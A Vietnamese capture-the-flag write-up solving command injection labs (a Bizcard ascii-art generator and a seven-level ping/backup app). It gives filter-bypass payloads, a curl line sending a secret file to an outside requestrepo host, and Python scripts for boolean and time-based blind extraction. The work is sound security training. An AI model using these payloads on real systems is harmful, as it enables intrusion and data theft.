---
# System prepended metadata

title: Command Injection challenges
tags: [ctf_writeup, cmdi]

---


## Bizcard Generator

![image](https://hackmd.io/_uploads/H1IabfWhJe.png)
Đây là một trang web có tính năng tạo card dạng ascii art với command `cowsay`, `figlet`... 

Nhìn vào đoạn code xử lý của ứng dụng thì ta thấy user input không được validate chặt chẽ mà đưa thẳng vào hàm `passthru()` để thực thi 
![image](https://hackmd.io/_uploads/HkzfrW3ske.png)
![image](https://hackmd.io/_uploads/SJFTV-2s1l.png)
hàm `passthru()` này sẽ thực thi câu lệnh và trả về output ở raw format


tổng cộng có 8 options, kèm đó vị trí biến `username` xuất hiện trong câu lệnh cũng khác nhau, đáng chú ý là ở case `figlet`
![image](https://hackmd.io/_uploads/rkqh4M-hyg.png)

biến `username` được đặt trong dấu nháy kép `""`. 
bash shell xử lý `''` và `""` có chút khác biệt.
với dấu nháy đơn, mọi thứ trong dấu nháy đơn sẽ được giữ nguyên
còn với dấu nháy kép ta có thể gọi đến các biến, cũng như sub command với ` $() ` &#96;&#96;...
![image](https://hackmd.io/_uploads/Sk7hvMWnyg.png)
 
### level 1
```php=
case 1:
    $input = addslashes($input);
    return $input;
```
về hàm `addslashes()` của php
![image](https://hackmd.io/_uploads/HJeNEZhikx.png)
hàm này đã chặn ý đồ escape câu lệnh nhưng ta vẫn có thể thực thi command với `` $()...

![image](https://hackmd.io/_uploads/S14G5MWhyx.png)

`secret.txt` được đặt tại folder root
![image](https://hackmd.io/_uploads/rJKHnfZhkl.png)

> ?level=1&type=figlet&username=\`cat /8byxc78qy-secret.txt`


### level 2
Mọi tính năng vẫn không thay đổi nhưng tới level 2 `username` được filter chặt hơn

```php=
case 2:
    $input = substr($input,0,10);
    $input = addslashes($input);
    return $input;
```
giới hạn input vào biến username là 10 ký tự. để đọc secret file thì 10 ký tự là không đủ...
Nhưng trên linux/bash shell vẫn còn một tính năng gọi là ` Globbing` cho phép ta sử dụng các wildcard để match ký tự ( tương tự regex )
trong đó có `*` sẽ match chuỗi bất kỳ, vậy để đọc secret file ta không cần phải truyền đầy đủ tên mà có thể sử dụng wildcard để rút gọn command mà vẫn đảm bảo output.
đọc secret file bằng cách `cat /8*`. cái này sẽ match bất kỳ file nào có tên bắt đầu với số 8, trong đó có secretfile
![image](https://hackmd.io/_uploads/H1To0zbnJl.png)

>?level=2&type=figlet&username=\`cat /8*`


### level 3
```php=
case 3:
    // Bad characters, please remove
    $input = preg_replace("/[\x{20}-\x{29}\x{2f}]/","",$input);
    $input = addslashes($input);
    return $input;
```
lần này những ký tự đặc biệt trong khoảng `[\x{20}-\x{29}\x{2f}]` sẽ bị remove khỏi input
đó là các ký tự 
![image](https://hackmd.io/_uploads/ByTs1Qbn1l.png)
\`\` chưa bị filter vậy là ta vẫn có thể thực thi lệnh, 
- `/` đã bị filter. Ký tự này là cần thiết bởi vì ta đang ở folder `/var/www/html/` để đọc secret_file tại folder / thì bắt buộc phải chỉ định đường dẫn cụ thể 
- Một ký tự khác cần thiết nhưng đã bị chặn là `space`


bypass:
- vì đoạn code xử lý chỉ filter khoảng hex cụ thể giá trị 0x20 (space) thay vì match `\s` nên có thể bypass space dễ dàng với ký tự `tab \t`
![image](https://hackmd.io/_uploads/Hkcw7Xb31l.png)
- dù ký tự / đã bị filter trực tiếp nhưng vẫn có thể bằng cách extract substring để lấy ký tự `/`.
ví dụ có lệnh `pwd` sẽ return về đường dẫn hiện tại ta đang ở là `/var/www/html`
![image](https://hackmd.io/_uploads/BJTs4XZ31e.png)
từ đây ta có thể extract lấy ký tự đầu tiên, chính là `/`
![image](https://hackmd.io/_uploads/HkwbrXWnkl.png)
tiếp tục ta phải nối chuỗi `/` với nhau
![image](https://hackmd.io/_uploads/HJJRr7Whyl.png)
![image](https://hackmd.io/_uploads/B1rjUXZ2Jx.png)
lệnh ` pwd | cut -c 1` trả output ra STDOUT, nếu muốn kiểm soát được output ấy ta cần tới `xargs`.
với option `-I` của `xargs` ta có thể tạo một placeholder để chứa những output đó
![image](https://hackmd.io/_uploads/r18APX-hJl.png)
tất cả gia vị đã sẵn sàng, giờ chỉ việc cook nữa thoi 
![image](https://hackmd.io/_uploads/HJWudQW3Jx.png)
![image](https://hackmd.io/_uploads/S1Dtu7Z31g.png)
![image](https://hackmd.io/_uploads/H1Y2YQW2yl.png)

> ?level=3&type=figlet&username=\`pwd|cut	-c	1|xargs	-I	@	cat	@8byxc78qy-secret.txt`

- ref.:
https://www.baeldung.com/linux/bash-substring
https://superuser.com/questions/189362/how-to-pipe-command-output-to-other-commands





Một cách khác là liên tục `cd ..` để tới được folder root, lúc này ta đọc file không cần truyền đường dẫn tuyệt đối nữa
```bash=
cd ..; cd ..; cd ..; cat  8byxc78qy-secret.txt;
```
 
![image](https://hackmd.io/_uploads/H1xb27WhJg.png)

### level 4 

```php=
case 4:
    // Bad characters (and more), please remove
    $input = preg_replace("/[\x{20}-\x{29}\x{2f}]/","",$input);
    $input = preg_replace("/[\x{3b}-\x{40}]/","",$input);
    $input = addslashes($input);
    return $input;
```
level 4 filter thêm các ký tự từ hex range 0x3b tới 0x40
![image](https://hackmd.io/_uploads/SyTsiXW3yl.png)

solution:
giống level 3, chỉ cần thay đổi một placeholder mới bất kỳ thay cho ký tự `@` đã bị filter
![image](https://hackmd.io/_uploads/SkfK97Wn1x.png)

```
?level=4&type=figlet&username=`pwd|cut	-c	1|xargs	-I	{}	cat	{}8byxc78qy-secret.txt`
```

## cmdi 7 challenges
Đây là một ứng dụng có thể thực hiện lệnh `ping`, `dig`, `nslookup` và trả về kết quả cho người dùng
![image](https://hackmd.io/_uploads/ry2WKhI3Jl.png)
Review nhanh về 3 lệnh này:
`ping` dùng để thực hiện kết nối tới một địa chỉ ip hoặc tên miền nào đó, lệnh này thường để kiểm tra kết nối mạng giữa hai host
`nslookup`, `dig` được dùng để truy vấn dns record bản ghi các thông tin của tên miền đó được lưu trên DNS server
![image](https://hackmd.io/_uploads/H1CJYpU3Je.png)

Các chức năng này của website thường là bằng cách khởi tạo một shell và thực thi những lệnh hệ thống để xử lý và trả về kết quả cho người dùng. 

Do đó, nếu không được kiểm soát an toàn, chúng có thể bị khai thác thông qua lỗ hổng command injection.

### level 1
![image](https://hackmd.io/_uploads/SkPa3AInkx.png)

input được truyền trực tiếp thông qua biến `target` vào câu lệnh và không có kiểm tra, 
ta có thể break câu lệnh với `;` và chèn vào lệnh tùy ý
ví dụ input là `8.8.8.8; ls -la /;`
phía server sẽ hiểu là 
```
timeout 10 ping -c 4 8.8.8.8; ls -la / #2>&1
```
kết quả là cả hai câu lệnh đều sẽ thực thi và trả về kết quả
![image](https://hackmd.io/_uploads/S153pCUn1g.png)

Vậy flag là `142awdfasd_secret.txt`, ta thực hiện đọc flag

payload:` 8.8.8.8; cat /142awdfasd_secret.txt;`

> ~~*CBJS{Basic_Command_Injection_0b4df8ed64f424432facd35e16883402}*~~



### level 2
![image](https://hackmd.io/_uploads/HyOXJ1PnJg.png)
- input của ta vẫn được truyền trực tiếp vào hàm `shell_exec()`
- tuy nhiên có filter : nếu input chứa `;` thì sẽ dừng chương trình
=> có thể bypass với `&& ||` để thay đổi logic câu lệnh, bằng cách này ta có thể thực thi chỉ trong một lệnh duy nhất

![image](https://hackmd.io/_uploads/BJ-cYev2kx.png)

payload: `google.com && cat /ash4zxdf_secret.txt`
> *~~CBJS{Command_Injection_Dont_need_semicolon_763d036657127a4f21c670530e319b52}~~*
### level 3
![image](https://hackmd.io/_uploads/rkhE5lDnJe.png)

filter lần này cấm ta sử dụng các ký tự `; & |` có trong input

=> ngoài `; && ||` ta còn có thể dùng ký tự newline `\n`  để tách câu lệnh hiện tại và chèn câu lệnh mới. Tương tự như dấu `;`, hệ thống sẽ thực thi các câu lệnh theo thứ tự và hiển thị kết quả ra màn hình.

![image](https://hackmd.io/_uploads/SJl46lv3kx.png)

payload: `google.com%0a
cat /3ef1cafd_secret.txt`
> *~~CBJS\{Not_only_;&|_but_there_are_mor_520c298589c33766dc2688b3866c95cb}~~*


Ngoài ra còn một cách khác đó là sử dụng subcommand \`` và ${} để thực thi lệnh tùy ý.
![image](https://hackmd.io/_uploads/HkfuAxD3yl.png)
ngonnn..
nhưng vẫn chưa giòn vì lệnh ping hay nslookup sẽ chỉ nhận một argument và sẽ break ngay khi gặp khoảng trắng trong output câu lệnh của ta
![image](https://hackmd.io/_uploads/S1SP1-v3Jg.png)

Đến đây có hai cách giải quyết.
- một là lệnh `dig` ![image](https://hackmd.io/_uploads/H1i4Wbw3Jl.png)
vì nó có thể nhận nhiều tham số một lúc nên output của subcommand vẫn sẽ return ra đầy đủ
![image](https://hackmd.io/_uploads/ByH6bZP2yg.png)

- hai là làm cách nào đó để đưa output về một dòng duy nhất, có thể sử dụng `tr` hoặc `awk` replace ký tự newline. (tuy nhiên mình quên mất là pipe | đã bị chặn nên bỏ case này)

### level 4
![image](https://hackmd.io/_uploads/ByHyNbDnyx.png)

sang level 4, có vẻ hệ thống bảo trì nên chỉ còn một option `backup`

ở đây web sử dụng zip để tạo file backup. Nếu backup 
thành công thì sẽ in ra “Backup thành công”, ngược lại sẽ in ra “Backup không thành công” 

- những filter hạn chế trước đó không còn, ta có thể thao tác với câu lệnh tùy ý
- tuy nhiên lúc này ta không thể kiểm tra được trạng thái output trả về nữa, nó chỉ có true hoặc false...

=> Có hai phương án giải quyết đó là: OOB hoặc Blind 
sử dụng lệnh `curl` 
- POST data ra ngoài ta sẽ có thể gửi toàn bộ output mà không bị những ký tự newline, ' ' gây nhiễu
- option @- sẽ lấy dữ liệu từ stdin để gửi request ra, kết hợp với pipe ta có thể req lệnh bát kỳ

![image](https://hackmd.io/_uploads/rJUPd-whye.png)

![image](https://hackmd.io/_uploads/rJuB_bw2yx.png)

payload: 
> \`cat /aefd123cdf_secret.txt | curl -d @- 2hvbmwjz.requestrepo.com`

![image](https://hackmd.io/_uploads/SJSAOZP3yl.png)


> ~~*CBJS{Blind_Command_Injection_a3183b33bb4885bbd0c9ddfe20c35ab8}*~~



### level 5
![image](https://hackmd.io/_uploads/HJg5t-P2yl.png)
source code khoogn có gì thay đổi so với level trước,
Lần này xuất hiện thêm nginx đóng vai trò reverse proxy nhận request và chuyển tới backend

Mình lại thử với payload cũ nhưng :hmmm...
Để ý kỹ hơn thì thấy trong docker-compose.yml file khai báo network
`no-internet` được set là `internal`. 
Vậy ta không thể oob được nữa

Cách còn lại đó là blind. 
![image](https://hackmd.io/_uploads/BkBMsWvhJl.png)
Để ý đoạn code xử lý dựa vào chuỗi "zip error" có xuats hiện trong result hay không từ đó sẽ trả về trạng thái khác nhau. 
=> ta có thể sử dụng điều này để extract từng ký tự.

- Và cần có câu điều kiện để kiểm soát output, trong bash shell [if else](https://bash.cyberciti.biz/guide/If..else..fi) có
 syntax
```bash=
if [ condition ]
       then
                   if given condition true
                   execute all commands up to else statement
                   or to fi if there is no else statement

       else
                   if given condition false 
                   execute all commands up to fi
       fi

```

![image](https://hackmd.io/_uploads/BkljHvGP3yl.png)

cuối cùng ta có `solve.py` với payload sẽ là
```!
 /etc/passwd; if [ "$(cat /*.txt|cut -c{i})" = "{char}" ]; then echo "zip error";else echo "blabla"; fi # 
```
trong đó:
- ` /etc/passwd` là truyền cho lệnh `zip` để nó không dump lỗi
- `#` để comment những lệnh sau
- giả sử có format secret luôn là file .txt đọc luon với `cat /*.txt` và extract từng ký tự, 
- nếu không thì phải mò mẫm từ lệnh`ls`, thì phải đưa output về một dòng duy nhất để `cut` hoạt động.
- đưa về một dòng duy nhất với `awk` hoặc `tr`
![image](https://hackmd.io/_uploads/SyDwCGvhyg.png)


```python=
import requests
import string

charset = string.ascii_letters + string.digits + "{_}"
flag = ""

burp0_url = "http://localhost:3005/index.php"



for i in range(1, 100): #sorry i'm lazy
    for char in charset:
        payload  = {"command": "backup",
                    "target": f" /etc/passwd; if [ \"$(cat /*.txt|cut -c{i})\" = \"{char}\" ]; then echo \"zip error\";else echo \"blabla\"; fi # "}
        r = requests.post(burp0_url, data=payload)
        if r.text.find("không") != -1:
            flag += char
            print("flag: %s" %flag)

```
![image](https://hackmd.io/_uploads/BkZN9zDn1g.png)
> ~~*CBJS{n0_1nternet_command_injection_dbf02a0e608f8b08d5a23591a47ff36b}*~~

### level 6
tiếp tục source code vẫn không thay đổi
![image](https://hackmd.io/_uploads/B1ATczw21l.png)
Đáng chú ý ở docker compose có set `:ro`
![image](https://hackmd.io/_uploads/ry9Mofwnyl.png)
`:ro` nghĩa là web folder của ta `/var/www/html` chỉ có thể đọc(read only) thôi...
...
solution vẫn có thể sử dụng `solve.py` của level5
![image](https://hackmd.io/_uploads/Sk3Yk7P3Jx.png)
> ~~*CBJS{trUe_0r_f4lse_d3tEct1on_b56c6ec4dd59e1741144ee8913e6b857}*~~



đến đây mình mới nhần ra có lẽ solution của level5 sẽ là đưa output của command ra ngoài sau đó đọc 

![image](https://hackmd.io/_uploads/BkyQ3zvnkl.png)

![image](https://hackmd.io/_uploads/SypWnfv3Jl.png)


### level 7
![image](https://hackmd.io/_uploads/H14VkQwnkg.png)

Lần này, dù có backup được hay không hệ thống cũng chỉ trả về một trạng thái "đã backup"

=> ta có thể blind cmdi với sleep 
![image](https://hackmd.io/_uploads/HJZGe7v2Jl.png)

> server đã ngủ 10s trước khi trả về response


`solve.py`
```python=
import requests
import string
import time

burp0_url = "http://localhost:3007/index.php"


charset = string.ascii_letters + string.digits + "{_}"
flag = ""


for i in range(1, 100): #sorry i'm lazy
    for char in charset:
        payload  = {"command": "backup",
                    "target": f" /etc/passwd; if [ \"$(cat /*.txt|cut -c{i})\" = \"{char}\" ]; then sleep 3; fi # "}
        #if true then sleep 3s
        start = time.time()
        r = requests.post(burp0_url, data=payload)
        end = time.time()
        if end - start > 5: #if time delay > 5s, print flag
            flag += char
            print(flag)
            
            
print("Flag is: %s" %flag)

```
![image](https://hackmd.io/_uploads/rkpumQv21e.png)


> ~~*CBJS{Dr_Str4nge_W1Ll_pR0ud_oF_y0U_5be2459fbc44d1c2331cb840acd15fd0}*~~
